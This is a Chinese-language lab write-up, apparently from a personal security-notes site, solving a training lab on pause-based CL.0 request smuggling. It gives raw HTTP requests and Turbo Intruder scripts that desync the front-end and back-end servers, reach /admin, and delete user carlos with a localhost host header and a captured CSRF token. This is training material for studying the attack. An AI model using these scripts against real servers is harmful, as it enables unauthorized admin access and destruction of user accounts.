> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/server-side-pause-based-request-smuggling.md).

# 基于服务器端暂停的请求走私

### 基于暂停的服务器端请求走私

该实验存在可利用的基于暂停的服务器端请求走私攻击漏洞。前端服务器会持续将请求转发给内部服务器，而内部服务器在某些端点上在一段空闲延迟后不会关闭连接。

解题步骤：

* 找到一个去同步向量 **CL.0** 基于暂停，
* 走私一个请求到内部服务器以访问管理面板 **/admin**,
* 然后删除用户 **carlos**.

**注意**/ 某些此类漏洞无法使用 Burp 原生工具利用。必须使用 **Turbo Intruder** 扩展。

<figure><img src="/files/8a54acf9888e69568024b12f905d9074702df758" alt=""><figcaption></figcaption></figure>

#### **易受攻击的点： `/resources`**

通过向 `/resources` 并插入较长的暂停（61 秒），可以导致前端与后端之间去同步：

```http
POST /resources HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

GET /error HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
```

为利用这一行为，我们使用 **Turbo Intruder**.

<figure><img src="/files/8b66f29cbfc1fe524686ababc8cc5a62df56d023" alt=""><figcaption></figcaption></figure>

#### **基础脚本**

将默认脚本修改为插入 **61 000 毫秒** 在发送标记（`pauseMarker`），以便在延迟后注入第二个请求：

<figure><img src="/files/d318d9b18b849251ed3557af08135f53b3960e76" alt=""><figcaption></figcaption></figure>

分析显示，大约在 **62 秒**，这证实了该漏洞。

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /error HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="/files/7113321a77dc274409e1f1d467ad25e896b53758" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c6c1d98d0bb1d82f1dbb3160f9a33183eec97363" alt=""><figcaption></figcaption></figure>

#### **注入目标 `/admin/`**

通过将走私请求调整为管理面板请求：

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /admin/ HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

内部服务器响应 **已找到**，证明已强制获得管理员访问权限。

<figure><img src="/files/43443e21585a5db88206c18c345734f67f477043" alt=""><figcaption></figcaption></figure>

#### **删除 Carlos 用户**

为绕过 CSRF 防护，将走私请求的主机修改为 **localhost**，并包含已捕获令牌的 POST 请求正文：

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 53

csrf=Re4MnOmcNv3hE8gobZocHnS9vcwce2sc&username=carlos
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nPOST'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

注入会在内部服务器上触发走私的 POST 请求，从而删除用户 **carlos**.

<figure><img src="/files/de345de05cbb0b1a65385862d15aa3d69dd1a63c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/server-side-pause-based-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
